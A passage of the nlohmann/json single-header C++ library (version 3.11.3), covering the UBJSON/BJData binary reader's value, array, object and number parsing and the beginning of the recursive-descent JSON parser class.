get_ignore_noop();\n\n            if (current == '$')\n            {\n                result.second = get();  // must not ignore 'N', because 'N' maybe the type\n                if (input_format == input_format_t::bjdata\n                    && JSON_HEDLEY_UNLIKELY(std::binary_search(bjd_optimized_type_markers.begin(), bjd_optimized_type_markers.end(), result.second)))\n                {\n                    auto last_token = get_token_string();\n                    return sax->parse_error(chars_read, last_token, parse_error::create(112, chars_read,\n                        exception_message(input_format, concat(\"marker 0x\", last_token, \" is not a permitted optimized array type\"), \"type\"), nullptr));\n                }\n\n                if (JSON_HEDLEY_UNLIKELY(!unexpect_eof(input_format, \"type\")))\n                {\n                    return false;\n                }\n\n                get_ignore_noop();\n                if (JSON_HEDLEY_UNLIKELY(current != '#'))\n                {\n                    if (JSON_HEDLEY_UNLIKELY(!unexpect_eof(input_format, \"value\")))\n                    {\n                        return false;\n                    }\n                    auto last_token = get_token_string();\n                    return sax->parse_error(chars_read, last_token, parse_error::create(112, chars_read,\n                        exception_message(input_format, concat(\"expected '#' after type information; last byte: 0x\", last_token), \"size\"), nullptr));\n                }\n\n                const bool is_error = get_ubjson_size_value(result.first, is_ndarray);\n                if (input_format == input_format_t::bjdata && is_ndarray)\n                {\n                    if (inside_ndarray)\n                    {\n                        return sax->parse_error(chars_read, get_token_string(), parse_error::create(112, chars_read,\n                            exception_message(input_format, \"ndarray can not be recursive\", \"size\"), nullptr));\n                    }\n                    result.second |= (1 << 8); // use bit 8 to indicate ndarray, all UBJSON and BJData markers should be ASCII letters\n                }\n                return is_error;\n            }\n\n            if (current == '#')\n            {\n                const bool is_error = get_ubjson_size_value(result.first, is_ndarray);\n                if (input_format == input_format_t::bjdata && is_ndarray)\n                {\n                    return sax->parse_error(chars_read, get_token_string(), parse_error::create(112, chars_read,\n                        exception_message(input_format, \"ndarray requires both type and size\", \"size\"), nullptr));\n                }\n                return is_error;\n            }\n\n            return true;\n        }\n\n        /*!\n        @param prefix  the previously read or set type prefix\n        @return whether value creation completed\n        */\n        bool get_ubjson_value(const char_int_type prefix)\n        {\n            switch (prefix)\n            {\n            case char_traits<char_type>::eof():  // EOF\n                return unexpect_eof(input_format, \"value\");\n\n            case 'T':  // true\n                return sax->boolean(true);\n            case 'F':  // false\n                return sax->boolean(false);\n\n            case 'Z':  // null\n                return sax->null();\n\n            case 'U':\n            {\n                std::uint8_t number{};\n                return get_number(input_format, number) && sax->number_unsigned(number);\n            }\n\n            case 'i':\n            {\n                std::int8_t number{};\n                return get_number(input_format, number) && sax->number_integer(number);\n            }\n\n            case 'I':\n            {\n                std::int16_t number{};\n                return get_number(input_format, number) && sax->number_integer(number);\n            }\n\n            case 'l':\n            {\n                std::int32_t number{};\n                return get_number(input_format, number) && sax->number_integer(number);\n            }\n\n            case 'L':\n            {\n                std::int64_t number{};\n                return get_number(input_format, number) && sax->number_integer(number);\n            }\n\n            case 'u':\n            {\n                if (input_format != input_format_t::bjdata)\n                {\n                    break;\n                }\n                std::uint16_t number{};\n                return get_number(input_format, number) && sax->number_unsigned(number);\n            }\n\n            case 'm':\n            {\n                if (input_format != input_format_t::bjdata)\n                {\n                    break;\n                }\n                std::uint32_t number{};\n                return get_number(input_format, number) && sax->number_unsigned(number);\n            }\n\n            case 'M':\n            {\n                if (input_format != input_format_t::bjdata)\n                {\n                    break;\n                }\n                std::uint64_t number{};\n                return get_number(input_format, number) && sax->number_unsigned(number);\n            }\n\n            case 'h':\n            {\n                if (input_format != input_format_t::bjdata)\n                {\n                    break;\n                }\n                const auto byte1_raw = get();\n                if (JSON_HEDLEY_UNLIKELY(!unexpect_eof(input_format, \"number\")))\n                {\n                    return false;\n                }\n                const auto byte2_raw = get();\n                if (JSON_HEDLEY_UNLIKELY(!unexpect_eof(input_format, \"number\")))\n                {\n                    return false;\n                }\n\n                const auto byte1 = static_cast<unsigned char>(byte1_raw);\n                const auto byte2 = static_cast<unsigned char>(byte2_raw);\n\n                // code from RFC 7049, Appendix D, Figure 3:\n                // As half-precision floating-point numbers were only added\n                // to IEEE 754 in 2008, today's programming platforms often\n                // still only have limited support for them. It is very\n                // easy to include at least decoding support for them even\n                // without such support. An example of a small decoder for\n                // half-precision floating-point numbers in the C language\n                // is shown in Fig. 3.\n                const auto half = static_cast<unsigned int>((byte2 << 8u) + byte1);\n                const double val = [&half]\n                    {\n                        const int exp = (half >> 10u) & 0x1Fu;\n                        const unsigned int mant = half & 0x3FFu;\n                        JSON_ASSERT(0 <= exp && exp <= 32);\n                        JSON_ASSERT(mant <= 1024);\n                        switch (exp)\n                        {\n                        case 0:\n                            return std::ldexp(mant, -24);\n                        case 31:\n                            return (mant == 0)\n                                ? std::numeric_limits<double>::infinity()\n                                : std::numeric_limits<double>::quiet_NaN();\n                        default:\n                            return std::ldexp(mant + 1024, exp - 25);\n                        }\n                    }();\n                return sax->number_float((half & 0x8000u) != 0\n                    ? static_cast<number_float_t>(-val)\n                    : static_cast<number_float_t>(val), \"\");\n            }\n\n            case 'd':\n            {\n                float number{};\n                return get_number(input_format, number) && sax->number_float(static_cast<number_float_t>(number), \"\");\n            }\n\n            case 'D':\n            {\n                double number{};\n                return get_number(input_format, number) && sax->number_float(static_cast<number_float_t>(number), \"\");\n            }\n\n            case 'H':\n            {\n                return get_ubjson_high_precision_number();\n            }\n\n            case 'C':  // char\n            {\n                get();\n                if (JSON_HEDLEY_UNLIKELY(!unexpect_eof(input_format, \"char\")))\n                {\n                    return false;\n                }\n                if (JSON_HEDLEY_UNLIKELY(current > 127))\n                {\n                    auto last_token = get_token_string();\n                    return sax->parse_error(chars_read, last_token, parse_error::create(113, chars_read,\n                        exception_message(input_format, concat(\"byte after 'C' must be in range 0x00..0x7F; last byte: 0x\", last_token), \"char\"), nullptr));\n                }\n                string_t s(1, static_cast<typename string_t::value_type>(current));\n                return sax->string(s);\n            }\n\n            case 'S':  // string\n            {\n                string_t s;\n                return get_ubjson_string(s) && sax->string(s);\n            }\n\n            case '[':  // array\n                return get_ubjson_array();\n\n            case '{':  // object\n                return get_ubjson_object();\n\n            default: // anything else\n                break;\n            }\n            auto last_token = get_token_string();\n            return sax->parse_error(chars_read, last_token, parse_error::create(112, chars_read, exception_message(input_format, \"invalid byte: 0x\" + last_token, \"value\"), nullptr));\n        }\n\n        /*!\n        @return whether array creation completed\n        */\n        bool get_ubjson_array()\n        {\n            std::pair<std::size_t, char_int_type> size_and_type;\n            if (JSON_HEDLEY_UNLIKELY(!get_ubjson_size_type(size_and_type)))\n            {\n                return false;\n            }\n\n            // if bit-8 of size_and_type.second is set to 1, encode bjdata ndarray as an object in JData annotated array format (https://github.com/NeuroJSON/jdata):\n            // {\"_ArrayType_\" : \"typeid\", \"_ArraySize_\" : [n1, n2, ...], \"_ArrayData_\" : [v1, v2, ...]}\n\n            if (input_format == input_format_t::bjdata && size_and_type.first != npos && (size_and_type.second & (1 << 8)) != 0)\n            {\n                size_and_type.second &= ~(static_cast<char_int_type>(1) << 8);  // use bit 8 to indicate ndarray, here we remove the bit to restore the type marker\n                auto it = std::lower_bound(bjd_types_map.begin(), bjd_types_map.end(), size_and_type.second, [](const bjd_type& p, char_int_type t)\n                    {\n                        return p.first < t;\n                    });\n                string_t key = \"_ArrayType_\";\n                if (JSON_HEDLEY_UNLIKELY(it == bjd_types_map.end() || it->first != size_and_type.second))\n                {\n                    auto last_token = get_token_string();\n                    return sax->parse_error(chars_read, last_token, parse_error::create(112, chars_read,\n                        exception_message(input_format, \"invalid byte: 0x\" + last_token, \"type\"), nullptr));\n                }\n\n                string_t type = it->second; // sax->string() takes a reference\n                if (JSON_HEDLEY_UNLIKELY(!sax->key(key) || !sax->string(type)))\n                {\n                    return false;\n                }\n\n                if (size_and_type.second == 'C')\n                {\n                    size_and_type.second = 'U';\n                }\n\n                key = \"_ArrayData_\";\n                if (JSON_HEDLEY_UNLIKELY(!sax->key(key) || !sax->start_array(size_and_type.first)))\n                {\n                    return false;\n                }\n\n                for (std::size_t i = 0; i < size_and_type.first; ++i)\n                {\n                    if (JSON_HEDLEY_UNLIKELY(!get_ubjson_value(size_and_type.second)))\n                    {\n                        return false;\n                    }\n                }\n\n                return (sax->end_array() && sax->end_object());\n            }\n\n            if (size_and_type.first != npos)\n            {\n                if (JSON_HEDLEY_UNLIKELY(!sax->start_array(size_and_type.first)))\n                {\n                    return false;\n                }\n\n                if (size_and_type.second != 0)\n                {\n                    if (size_and_type.second != 'N')\n                    {\n                        for (std::size_t i = 0; i < size_and_type.first; ++i)\n                        {\n                            if (JSON_HEDLEY_UNLIKELY(!get_ubjson_value(size_and_type.second)))\n                            {\n                                return false;\n                            }\n                        }\n                    }\n                }\n                else\n                {\n                    for (std::size_t i = 0; i < size_and_type.first; ++i)\n                    {\n                        if (JSON_HEDLEY_UNLIKELY(!parse_ubjson_internal()))\n                        {\n                            return false;\n                        }\n                    }\n                }\n            }\n            else\n            {\n                if (JSON_HEDLEY_UNLIKELY(!sax->start_array(static_cast<std::size_t>(-1))))\n                {\n                    return false;\n                }\n\n                while (current != ']')\n                {\n                    if (JSON_HEDLEY_UNLIKELY(!parse_ubjson_internal(false)))\n                    {\n                        return false;\n                    }\n                    get_ignore_noop();\n                }\n            }\n\n            return sax->end_array();\n        }\n\n        /*!\n        @return whether object creation completed\n        */\n        bool get_ubjson_object()\n        {\n            std::pair<std::size_t, char_int_type> size_and_type;\n            if (JSON_HEDLEY_UNLIKELY(!get_ubjson_size_type(size_and_type)))\n            {\n                return false;\n            }\n\n            // do not accept ND-array size in objects in BJData\n            if (input_format == input_format_t::bjdata && size_and_type.first != npos && (size_and_type.second & (1 << 8)) != 0)\n            {\n                auto last_token = get_token_string();\n                return sax->parse_error(chars_read, last_token, parse_error::create(112, chars_read,\n                    exception_message(input_format, \"BJData object does not support ND-array size in optimized format\", \"object\"), nullptr));\n            }\n\n            string_t key;\n            if (size_and_type.first != npos)\n            {\n                if (JSON_HEDLEY_UNLIKELY(!sax->start_object(size_and_type.first)))\n                {\n                    return false;\n                }\n\n                if (size_and_type.second != 0)\n                {\n                    for (std::size_t i = 0; i < size_and_type.first; ++i)\n                    {\n                        if (JSON_HEDLEY_UNLIKELY(!get_ubjson_string(key) || !sax->key(key)))\n                        {\n                            return false;\n                        }\n                        if (JSON_HEDLEY_UNLIKELY(!get_ubjson_value(size_and_type.second)))\n                        {\n                            return false;\n                        }\n                        key.clear();\n                    }\n                }\n                else\n                {\n                    for (std::size_t i = 0; i < size_and_type.first; ++i)\n                    {\n                        if (JSON_HEDLEY_UNLIKELY(!get_ubjson_string(key) || !sax->key(key)))\n                        {\n                            return false;\n                        }\n                        if (JSON_HEDLEY_UNLIKELY(!parse_ubjson_internal()))\n                        {\n                            return false;\n                        }\n                        key.clear();\n                    }\n                }\n            }\n            else\n            {\n                if (JSON_HEDLEY_UNLIKELY(!sax->start_object(static_cast<std::size_t>(-1))))\n                {\n                    return false;\n                }\n\n                while (current != '}')\n                {\n                    if (JSON_HEDLEY_UNLIKELY(!get_ubjson_string(key, false) || !sax->key(key)))\n                    {\n                        return false;\n                    }\n                    if (JSON_HEDLEY_UNLIKELY(!parse_ubjson_internal()))\n                    {\n                        return false;\n                    }\n                    get_ignore_noop();\n                    key.clear();\n                }\n            }\n\n            return sax->end_object();\n        }\n\n        // Note, no reader for UBJSON binary types is implemented because they do\n        // not exist\n\n        bool get_ubjson_high_precision_number()\n        {\n            // get size of following number string\n            std::size_t size{};\n            bool no_ndarray = true;\n            auto res = get_ubjson_size_value(size, no_ndarray);\n            if (JSON_HEDLEY_UNLIKELY(!res))\n            {\n                return res;\n            }\n\n            // get number string\n            std::vector<char> number_vector;\n            for (std::size_t i = 0; i < size; ++i)\n            {\n                get();\n                if (JSON_HEDLEY_UNLIKELY(!unexpect_eof(input_format, \"number\")))\n                {\n                    return false;\n                }\n                number_vector.push_back(static_cast<char>(current));\n            }\n\n            // parse number string\n            using ia_type = decltype(detail::input_adapter(number_vector));\n            auto number_lexer = detail::lexer<BasicJsonType, ia_type>(detail::input_adapter(number_vector), false);\n            const auto result_number = number_lexer.scan();\n            const auto number_string = number_lexer.get_token_string();\n            const auto result_remainder = number_lexer.scan();\n\n            using token_type = typename detail::lexer_base<BasicJsonType>::token_type;\n\n            if (JSON_HEDLEY_UNLIKELY(result_remainder != token_type::end_of_input))\n            {\n                return sax->parse_error(chars_read, number_string, parse_error::create(115, chars_read,\n                    exception_message(input_format, concat(\"invalid number text: \", number_lexer.get_token_string()), \"high-precision number\"), nullptr));\n            }\n\n            switch (result_number)\n            {\n            case token_type::value_integer:\n                return sax->number_integer(number_lexer.get_number_integer());\n            case token_type::value_unsigned:\n                return sax->number_unsigned(number_lexer.get_number_unsigned());\n            case token_type::value_float:\n                return sax->number_float(number_lexer.get_number_float(), std::move(number_string));\n            case token_type::uninitialized:\n            case token_type::literal_true:\n            case token_type::literal_false:\n            case token_type::literal_null:\n            case token_type::value_string:\n            case token_type::begin_array:\n            case token_type::begin_object:\n            case token_type::end_array:\n            case token_type::end_object:\n            case token_type::name_separator:\n            case token_type::value_separator:\n            case token_type::parse_error:\n            case token_type::end_of_input:\n            case token_type::literal_or_value:\n            default:\n                return sax->parse_error(chars_read, number_string, parse_error::create(115, chars_read,\n                    exception_message(input_format, concat(\"invalid number text: \", number_lexer.get_token_string()), \"high-precision number\"), nullptr));\n            }\n        }\n\n        ///////////////////////\n        // Utility functions //\n        ///////////////////////\n\n        /*!\n        @brief get next character from the input\n\n        This function provides the interface to the used input adapter. It does\n        not throw in case the input reached EOF, but returns a -'ve valued\n        `char_traits<char_type>::eof()` in that case.\n\n        @return character read from the input\n        */\n        char_int_type get()\n        {\n            ++chars_read;\n            return current = ia.get_character();\n        }\n\n        /*!\n        @return character read from the input after ignoring all 'N' entries\n        */\n        char_int_type get_ignore_noop()\n        {\n            do\n            {\n                get();\n            } while (current == 'N');\n\n            return current;\n        }\n\n        /*\n        @brief read a number from the input\n\n        @tparam NumberType the type of the number\n        @param[in] format   the current format (for diagnostics)\n        @param[out] result  number of type @a NumberType\n\n        @return whether conversion completed\n\n        @note This function needs to respect the system's endianness, because\n              bytes in CBOR, MessagePack, and UBJSON are stored in network order\n              (big endian) and therefore need reordering on little endian systems.\n              On the other hand, BSON and BJData use little endian and should reorder\n              on big endian systems.\n        */\n        template<typename NumberType, bool InputIsLittleEndian = false>\n        bool get_number(const input_format_t format, NumberType& result)\n        {\n            // step 1: read input into array with system's byte order\n            std::array<std::uint8_t, sizeof(NumberType)> vec{};\n            for (std::size_t i = 0; i < sizeof(NumberType); ++i)\n            {\n                get();\n                if (JSON_HEDLEY_UNLIKELY(!unexpect_eof(format, \"number\")))\n                {\n                    return false;\n                }\n\n                // reverse byte order prior to conversion if necessary\n                if (is_little_endian != (InputIsLittleEndian || format == input_format_t::bjdata))\n                {\n                    vec[sizeof(NumberType) - i - 1] = static_cast<std::uint8_t>(current);\n                }\n                else\n                {\n                    vec[i] = static_cast<std::uint8_t>(current); // LCOV_EXCL_LINE\n                }\n            }\n\n            // step 2: convert array into number of type T and return\n            std::memcpy(&result, vec.data(), sizeof(NumberType));\n            return true;\n        }\n\n        /*!\n        @brief create a string by reading characters from the input\n\n        @tparam NumberType the type of the number\n        @param[in] format the current format (for diagnostics)\n        @param[in] len number of characters to read\n        @param[out] result string created by reading @a len bytes\n\n        @return whether string creation completed\n\n        @note We can not reserve @a len bytes for the result, because @a len\n              may be too large. Usually, @ref unexpect_eof() detects the end of\n              the input before we run out of string memory.\n        */\n        template<typename NumberType>\n        bool get_string(const input_format_t format,\n            const NumberType len,\n            string_t& result)\n        {\n            bool success = true;\n            for (NumberType i = 0; i < len; i++)\n            {\n                get();\n                if (JSON_HEDLEY_UNLIKELY(!unexpect_eof(format, \"string\")))\n                {\n                    success = false;\n                    break;\n                }\n                result.push_back(static_cast<typename string_t::value_type>(current));\n            }\n            return success;\n        }\n\n        /*!\n        @brief create a byte array by reading bytes from the input\n\n        @tparam NumberType the type of the number\n        @param[in] format the current format (for diagnostics)\n        @param[in] len number of bytes to read\n        @param[out] result byte array created by reading @a len bytes\n\n        @return whether byte array creation completed\n\n        @note We can not reserve @a len bytes for the result, because @a len\n              may be too large. Usually, @ref unexpect_eof() detects the end of\n              the input before we run out of memory.\n        */\n        template<typename NumberType>\n        bool get_binary(const input_format_t format,\n            const NumberType len,\n            binary_t& result)\n        {\n            bool success = true;\n            for (NumberType i = 0; i < len; i++)\n            {\n                get();\n                if (JSON_HEDLEY_UNLIKELY(!unexpect_eof(format, \"binary\")))\n                {\n                    success = false;\n                    break;\n                }\n                result.push_back(static_cast<std::uint8_t>(current));\n            }\n            return success;\n        }\n\n        /*!\n        @param[in] format   the current format (for diagnostics)\n        @param[in] context  further context information (for diagnostics)\n        @return whether the last read character is not EOF\n        */\n        JSON_HEDLEY_NON_NULL(3)\n            bool unexpect_eof(const input_format_t format, const char* context) const\n        {\n            if (JSON_HEDLEY_UNLIKELY(current == char_traits<char_type>::eof()))\n            {\n                return sax->parse_error(chars_read, \"<end of file>\",\n                    parse_error::create(110, chars_read, exception_message(format, \"unexpected end of input\", context), nullptr));\n            }\n            return true;\n        }\n\n        /*!\n        @return a string representation of the last read byte\n        */\n        std::string get_token_string() const\n        {\n            std::array<char, 3> cr{ {} };\n            static_cast<void>((std::snprintf)(cr.data(), cr.size(), \"%.2hhX\", static_cast<unsigned char>(current))); // NOLINT(cppcoreguidelines-pro-type-vararg,hicpp-vararg)\n            return std::string{ cr.data() };\n        }\n\n        /*!\n        @param[in] format   the current format\n        @param[in] detail   a detailed error message\n        @param[in] context  further context information\n        @return a message string to use in the parse_error exceptions\n        */\n        std::string exception_message(const input_format_t format,\n            const std::string& detail,\n            const std::string& context) const\n        {\n            std::string error_msg = \"syntax error while parsing \";\n\n            switch (format)\n            {\n            case input_format_t::cbor:\n                error_msg += \"CBOR\";\n                break;\n\n            case input_format_t::msgpack:\n                error_msg += \"MessagePack\";\n                break;\n\n            case input_format_t::ubjson:\n                error_msg += \"UBJSON\";\n                break;\n\n            case input_format_t::bson:\n                error_msg += \"BSON\";\n                break;\n\n            case input_format_t::bjdata:\n                error_msg += \"BJData\";\n                break;\n\n            case input_format_t::json: // LCOV_EXCL_LINE\n            default:            // LCOV_EXCL_LINE\n                JSON_ASSERT(false); // NOLINT(cert-dcl03-c,hicpp-static-assert,misc-static-assert) LCOV_EXCL_LINE\n            }\n\n            return concat(error_msg, ' ', context, \": \", detail);\n        }\n\n    private:\n        static JSON_INLINE_VARIABLE constexpr std::size_t npos = static_cast<std::size_t>(-1);\n\n        /// input adapter\n        InputAdapterType ia;\n\n        /// the current character\n        char_int_type current = char_traits<char_type>::eof();\n\n        /// the number of characters read\n        std::size_t chars_read = 0;\n\n        /// whether we can assume little endianness\n        const bool is_little_endian = little_endianness();\n\n        /// input format\n        const input_format_t input_format = input_format_t::json;\n\n        /// the SAX parser\n        json_sax_t* sax = nullptr;\n\n        // excluded markers in bjdata optimized type\n#define JSON_BINARY_READER_MAKE_BJD_OPTIMIZED_TYPE_MARKERS_ \\\n    make_array<char_int_type>('F', 'H', 'N', 'S', 'T', 'Z', '[', '{')\n\n#define JSON_BINARY_READER_MAKE_BJD_TYPES_MAP_ \\\n    make_array<bjd_type>(                      \\\n    bjd_type{'C', \"char\"},                     \\\n    bjd_type{'D', \"double\"},                   \\\n    bjd_type{'I', \"int16\"},                    \\\n    bjd_type{'L', \"int64\"},                    \\\n    bjd_type{'M', \"uint64\"},                   \\\n    bjd_type{'U', \"uint8\"},                    \\\n    bjd_type{'d', \"single\"},                   \\\n    bjd_type{'i', \"int8\"},                     \\\n    bjd_type{'l', \"int32\"},                    \\\n    bjd_type{'m', \"uint32\"},                   \\\n    bjd_type{'u', \"uint16\"})\n\n        JSON_PRIVATE_UNLESS_TESTED:\n        // lookup tables\n        // NOLINTNEXTLINE(cppcoreguidelines-non-private-member-variables-in-classes)\n        const decltype(JSON_BINARY_READER_MAKE_BJD_OPTIMIZED_TYPE_MARKERS_) bjd_optimized_type_markers =\n            JSON_BINARY_READER_MAKE_BJD_OPTIMIZED_TYPE_MARKERS_;\n\n        using bjd_type = std::pair<char_int_type, string_t>;\n        // NOLINTNEXTLINE(cppcoreguidelines-non-private-member-variables-in-classes)\n        const decltype(JSON_BINARY_READER_MAKE_BJD_TYPES_MAP_) bjd_types_map =\n            JSON_BINARY_READER_MAKE_BJD_TYPES_MAP_;\n\n#undef JSON_BINARY_READER_MAKE_BJD_OPTIMIZED_TYPE_MARKERS_\n#undef JSON_BINARY_READER_MAKE_BJD_TYPES_MAP_\n    };\n\n#ifndef JSON_HAS_CPP_17\n    template<typename BasicJsonType, typename InputAdapterType, typename SAX>\n    constexpr std::size_t binary_reader<BasicJsonType, InputAdapterType, SAX>::npos;\n#endif\n\n}  // namespace detail\nNLOHMANN_JSON_NAMESPACE_END\n\n// #include <nlohmann/detail/input/input_adapters.hpp>\n\n// #include <nlohmann/detail/input/lexer.hpp>\n\n// #include <nlohmann/detail/input/parser.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n#include <cmath> // isfinite\n#include <cstdint> // uint8_t\n#include <functional> // function\n#include <string> // string\n#include <utility> // move\n#include <vector> // vector\n\n// #include <nlohmann/detail/exceptions.hpp>\n\n// #include <nlohmann/detail/input/input_adapters.hpp>\n\n// #include <nlohmann/detail/input/json_sax.hpp>\n\n// #include <nlohmann/detail/input/lexer.hpp>\n\n// #include <nlohmann/detail/macro_scope.hpp>\n\n// #include <nlohmann/detail/meta/is_sax.hpp>\n\n// #include <nlohmann/detail/string_concat.hpp>\n\n// #include <nlohmann/detail/value_t.hpp>\n\n\nNLOHMANN_JSON_NAMESPACE_BEGIN\nnamespace detail\n{\n    ////////////\n    // parser //\n    ////////////\n\n    enum class parse_event_t : std::uint8_t\n    {\n        /// the parser read `{` and started to process a JSON object\n        object_start,\n        /// the parser read `}` and finished processing a JSON object\n        object_end,\n        /// the parser read `[` and started to process a JSON array\n        array_start,\n        /// the parser read `]` and finished processing a JSON array\n        array_end,\n        /// the parser read a key of a value in an object\n        key,\n        /// the parser finished reading a JSON value\n        value\n    };\n\n    template<typename BasicJsonType>\n    using parser_callback_t =\n        std::function<bool(int /*depth*/, parse_event_t /*event*/, BasicJsonType& /*parsed*/)>;\n\n    /*!\n    @brief syntax analysis\n\n    This class implements a recursive descent parser.\n    */\n    template<typename BasicJsonType, typename InputAdapterType>\n    class parser\n    {\n        using number_integer_t = typename BasicJsonType::number_integer_t;\n        using number_unsigned_t = typename BasicJsonType::number_unsigned_t;\n        using number_float_t = typename BasicJsonType::number_float_t;\n        using string_t = typename BasicJsonType::string_t;\n        using lexer_t = lexer<BasicJsonType, InputAdapterType>;\n        using token_type = typename lexer_t::token_type;\n\n    public:\n        /// a parser reading from an input adapter\n        explicit parser(InputAdapterType&& adapter,\n            const parser_callback_t<BasicJsonType> cb = nullptr,\n            const bool allow_exceptions_ = true,\n            const bool skip_comments = false)\n            : callback(cb)\n            , m_lexer(std::move(adapter), skip_comments)\n            , allow_exceptions(allow_exceptions_)\n        {\n            // read first token\n            get_token();\n        }\n\n        /*!\n        @brief public parser interface\n\n        @param[in] strict      whether to expect the last token to be EOF\n        @param[in,out] result  parsed JSON value\n\n        @throw parse_error.101 in case of an unexpected token\n        @throw parse_error.102 if to_unicode fails or surrogate error\n        @throw parse_error.103 if to_unicode fails\n        */\n        void parse(const bool strict, BasicJsonType& result)\n        {\n            if (callback)\n            {\n                json_sax_dom_callback_parser<BasicJsonType> sdp(result, callback, allow_exceptions);\n                sax_parse_internal(&sdp);\n\n                // in strict mode, input must be completely read\n                if (strict && (get_token() != token_type::end_of_input))\n                {\n                    sdp.parse_error(m_lexer.get_position(),\n                        m_lexer.get_token_string(),\n                        parse_error::create(101, m_lexer.get_position(),\n                            exception_message(token_type::end_of_input, \"value\"), nullptr));\n                }\n\n                // in case of an error, return discarded value\n                if (sdp.is_errored())\n                {\n                    result = value_t::discarded;\n                    return;\n                }\n\n                // set top-level value to null if it was discarded by the callback\n                // function\n                if (result.is_discarded())\n                {\n                    result = nullptr;\n                }\n            }\n            else\n            {\n                json_sax_dom_parser<BasicJsonType> sdp(result, allow_exceptions);\n                sax_parse_internal(&sdp);\n\n                // in strict mode, input must be completely read\n                if (strict && (get_token() != token_type::end_of_input))\n                {\n                    sdp.parse_error(m_lexer.get_position(),\n                        m_lexer.get_token_string(),\n                        parse_error::create(101, m_lexer.get_position(), exception_message(token_type::end_of_input, \"value\"), nullptr));\n                }\n\n                // in case of an error, return discarded value\n                if (sdp.is_errored())\n                {\n                    result = value_t::discarded;\n                    return;\n                }\n            }\n\n            result.assert_invariant();\n        }\n\n        /*!\n        @brief public accept interface\n\n        @param[in] strict  whether to expect the last token to be EOF\n        @return whether the input is a proper JSON text\n        */\n        bool accept(const bool strict = true)\n        {\n            json_sax_acceptor<BasicJsonType> sax_acceptor;\n            return sax_parse(&sax_acceptor, strict);\n        }\n\n        template<typename SAX>\n        JSON_HEDLEY_NON_NULL(2)\n            bool sax_parse(SAX* sax, const bool strict = true)\n        {\n            (void)detail::is_sax_static_asserts<SAX, BasicJsonType> {};\n            const bool result = sax_parse_internal(sax);\n\n            // strict mode: next byte must be EOF\n            if (result && strict && (get_token() != token_type::end_of_input))\n            {\n                return sax->parse_error(m_lexer.get_position(),\n                    m_lexer.get_token_string(),\n                    parse_error::create(101, m_lexer.get_position(), exception_message(token_type::end_of_input, \"value\"), nullptr));\n            }\n\n            return result;\n        }\n\n    private:\n        template<typename SAX>\n        JSON_HEDLEY_NON_NULL(2)\n            bool sax_parse_internal(SAX* sax)\n        {\n            // stack to remember the hierarchy of structured values we are parsing\n            // true = array; false = object\n            std::vector<bool> states;\n            // value to avoid a goto (see comment where set to true)\n            bool skip_to_state_evaluation = false;\n\n            while (true)\n            {\n                if (!skip_to_state_evaluation)\n                {\n                    // invariant: get_token() was called before each iteration\n                    switch (last_token)\n                    {\n                    case token_type::begin_object:\n                    {\n                        if (JSON_HEDLEY_UNLIKELY(!sax->start_object(static_cast<std::size_t>(-1))))\n                        {\n                            return false;\n                        }\n\n                        // closing } -> we are done\n                        if (get_token() == token_type::end_object)\n                        {\n                            if (JSON_HEDLEY_UNLIKELY(!sax->end_object()))\n                            {\n                                return false;\n                            }\n                            break;\n                        }\n\n                        // parse key\n                        if (JSON_HEDLEY_UNLIKELY(last_token != token_type::value_string))\n                        {\n                            return sax->parse_error(m_lexer.get_position(),\n                                m_lexer.get_token_string(),\n                                parse_error::create(101, m_lexer.get_position(), exception_message(token_type::value_string, \"object key\"), nullptr));\n                        }\n                        if (JSON_HEDLEY_UNLIKELY(!sax->key(m_lexer.get_string())))\n                        {\n                            return false;\n                        }\n\n                        // parse separator (:)\n                        if (JSON_HEDLEY_UNLIKELY(get_token() != token_type::name_separator))\n                        {\n                            return sax->parse_error(m_lexer.get_position(),\n                                m_lexer.get_token_string(),\n                                parse_error::create(101, m_lexer.get_position(), exception_message(token_type::name_separator, \"object separator\"), nullptr));\n                        }\n\n                        // remember we are now inside an object\n                        states.push_back(false);\n\n                        // parse values\n                        get_token();\n                        continue;\n                    }\n\n                    case token_type::begin_array:\n                    {\n                        if (JSON_HEDLEY_UNLIKELY(!sax->start_array(static_cast<std::size_t>(-1))))\n                        {\n                            return false;\n                        }\n\n                        // closing ] -> we are done\n                        if (get_token() == token_type::end_array)\n                        {\n                            if (JSON_HEDLEY_UNLIKELY(!sax->end_array()))\n                            {\n                                return false;\n                            }\n                            break;\n                        }\n\n                        // remember we are now inside an array\n                        states.push_back(true);\n\n                        // parse values (no need to call get_token)\n                        continue;\n                    }\n\n                    case token_type::value_float:\n                    {\n                        const auto res = m_lexer.get_number_float();\n\n                        if (JSON_HEDLEY_UNLIKELY(!std::isfinite(res)))\n                        {\n                            return sax->parse_error(m_lexer.get_position(),\n                                m_lexer.get_token_string(),\n                                out_of_range::create(406, concat(\"number overflow parsing '\", m_lexer.get_token_string(), '\\''), nullptr));\n                        }\n\n                        if (JSON_HEDLEY_UNLIKELY(!sax->number_float(res, m_lexer.get_string())))\n                        {\n                            return false;\n                        }\n\n                        break;\n                    }\n\n                    case token_type::literal_false:\n                    {\n                        if (JSON_HEDLEY_UNLIKELY(!sax->boolean(false)))\n                        {\n                            return false;\n                        }\n                        break;\n                    }\n\n                    case token_type::literal_null:\n                    {\n                        if (JSON_HEDLEY_UNLIKELY(!sax->null()))\n                        {\n                            return false;\n                        }\n                        break;\n                    }\n\n                    case token_type::literal_true:\n                    {\n                        if (JSON_HEDLEY_UNLIKELY(!sax->boolean(true)))\n                        {\n                            return false;\n                        }\n                        break;\n                    }\n\n                    case token_type::value_integer:\n                    {\n                        if (JSON_HEDLEY_UNLIKELY(!sax->number_integer(m_lexer.get_number_integer())))\n                        {\n                            return false;\n                        }\n                        break;\n                    }\n\n                    case token_type::value_string:\n                    {\n                        if (JSON_HEDLEY_UNLIKELY(!sax->string(m_lexer.get_string())))\n                        {\n                            return false;\n                        }\n                        break;\n                    }\n\n                    case token_type::value_unsigned:\n                    {\n                        if (JSON_HEDLEY_UNLIKELY(!sax->number_unsigned(m_lexer.get_number_unsigned())))\n                        {\n                            return false;\n                        }\n                        break;\n                    }\n\n                    case token_type::parse_error:\n                    {\n                        // using \"uninitialized\" to avoid \"expected\" message\n                        return sax->parse_error(m_lexer.get_position(),\n                            m_lexer.get_token_string(),\n                            parse_error::create(101, m_lexer.get_position(), exception_message(token_type::uninitialized, 